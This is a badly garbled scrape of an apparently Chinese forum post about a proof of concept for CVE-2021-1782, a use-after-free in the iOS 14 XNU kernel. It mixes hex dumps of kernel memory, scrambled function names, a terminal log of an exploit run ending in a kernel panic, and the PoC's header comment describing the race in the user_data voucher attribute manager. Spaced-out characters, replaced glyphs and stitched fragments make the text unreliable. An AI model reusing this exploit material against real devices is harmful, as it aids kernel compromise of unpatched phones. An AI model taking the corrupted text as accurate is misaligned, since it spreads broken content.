0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   8 0   0 4   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   1 1   0 0   0 0   0 0   0 0   0 0   0 0   0 0     2 5   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . % . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 3   2 D   0 0   0 0     |     . . . . . . . . . . . . . - . .   0 0   0 0   0 6   0 0   0 0   0 0   0 0   0 0     0 0   1 9   1 6   0 1   E 0   F F   F F   F F     |     . . . . . . . . . . . . . . . .   F 0   2 D   3 0   0 4   E 0   F F   F F   F F     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . - 0 . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   3 0   E 0   8 0   3 2   0 1   0 0   0 0   0 0     3 4   0 0   0 0   0 0   0 1   0 0   0 0   0 0     |     0 . . 2 . . . . 4 . . . . . . .   0 1   0 0   0 0   0 0   0 1   0 0   0 0   0 0     0 0   0 0   0 0   8 0   0 1   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     1 1   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   2 5   0 0   0 0   0 0   0 0   0 0   0 0   0 0     F 6   0 0   0 4   0 0   0 0   0 0   0 0   0 0     |     % . . . . . . . . . . . . . . .  
i O S   1 4 < 1 4 . 4 使 o o l s 使 5 1 2 0 P o C i O S   1 4 m a c h C V E - 2 0 2 1 - 1 7 8 2 使 C V E - 2 0 2 1 - 1 7 8 2 使 E l o i   B e n o i s t - V a n d e r b e k e n F a b i e n   P e r i g a u d E t i e n n e   H e l l u y - L a f o n t P O C 0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   2 3   2 7   0 0   0 0     0 0   0 0   0 1   0 0   0 0   0 0   0 0   0 0     |     . . . . # ' . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     F 0   8 F   1 4   0 0   E 0   F F   F F   F F     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     |     . . . . . . . . . . . . . . . .   0 0   0 0   0 0   0 0   0 0   0 0   0 0   0 0     9 0   3 8   7 1   0 2   0 1   0 0   0 0   0 0     |     . . . . . . . . . 8 q . . . . .   / /   [ . . . ] . e _ s i z e i p c _ p o r t _ t m a c h _ v o u c h e r _ e x t r a c t _ a t t r _ r e c i p e _ t r a p ( ) u s e r _ d a t a _ e x t r a c t _ c o n t e n t ( ) - D W I T H _ O O L i p c _ p o r t _ t . e _ m a d e h o s t _ c r e a t e _ m a c h _ v o u c h e r ( ) - b a s h - 3 . 2 #   . / v o u c h e r _ l e a k   1 0 0 0 0 [ + ]   l e g i t   r e c i p e _ s i z e : 1 0 2 4 [ + ]   a t t e m p t   n u m b e r : 0 [ + ]   a t t e m p t   n u m b e r : 1 0 0 0 [ + ]   U a F   d e t e c t e d   w i t h   K E R N _ N O _ S P A C E ! [ + ]   o u t   o o l   p o r t s   p r o b a b l y   g o t   o u r   a l l o c [ + ]   l e t ' s   t r y   t o   p a n i c . . . [ + ]   3 [ + ]   2 [ + ]   1 C o n n e c t i o n   t o   1 2 7 . 0 . 0 . 1   c l o s e d   b y   r e m o t e   h o s t . C o n n e c t i o n   t o   1 2 7 . 0 . 0 . 1   c l o s e d . p a n i c ( c p u   1   c a l l e r   0 x X X X X X X X X X X X X X X X X ) :   U n a l i g n e d   k e r n e l   d a t a   a b o r t .   a t   p c   0 x X X X X X X X X X X X X X X X X ,   l r   0 x X X X X X X X X X X X X X X X X   ( s a v e d   s t a t e :   0 x X X X X X X X X X X X X X X X X ) / *   T h i s   i s   a   P o C   f o r   C V E - 2 0 2 1 - 1 7 8 2 ,   a   X N U   k e r n e l   v u l n e r a b i l i t y   f o r   i O S   < =   1 4 . 3 . T h e   b u g   i s   a   l a c k   o f   l o c k s   i n   u s e r _ d a t a _ g e t _ v a l u e ( )   o n   t h e   u s e r _ d a t a   v o u c h e r   a t t r i b u t e   m a n a g e r . W i t h   a   d o u b l e   r a c e   w e   c a n   m a n a g e   t o   g e t   a n   u s e r _ d a t a _ e l e m e n t _ t   u s e d   a f t e r   f r e e . F o r   m o r e   d e t a i l s   s e e   S y n a c k t i v ' s   b l o g   p o s t   o n :   h t t p s : / / w w w . s y n a c k t i v . c o m / p u b l i c a t i o n s / a n a l y s i s - a n d - e x p l o i t a t i o n - o f - t h e - i o s - k e r n e l - v u l n e r a b i l t y - c v e - 2 0 2 1 - 1 7 8 2 .
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则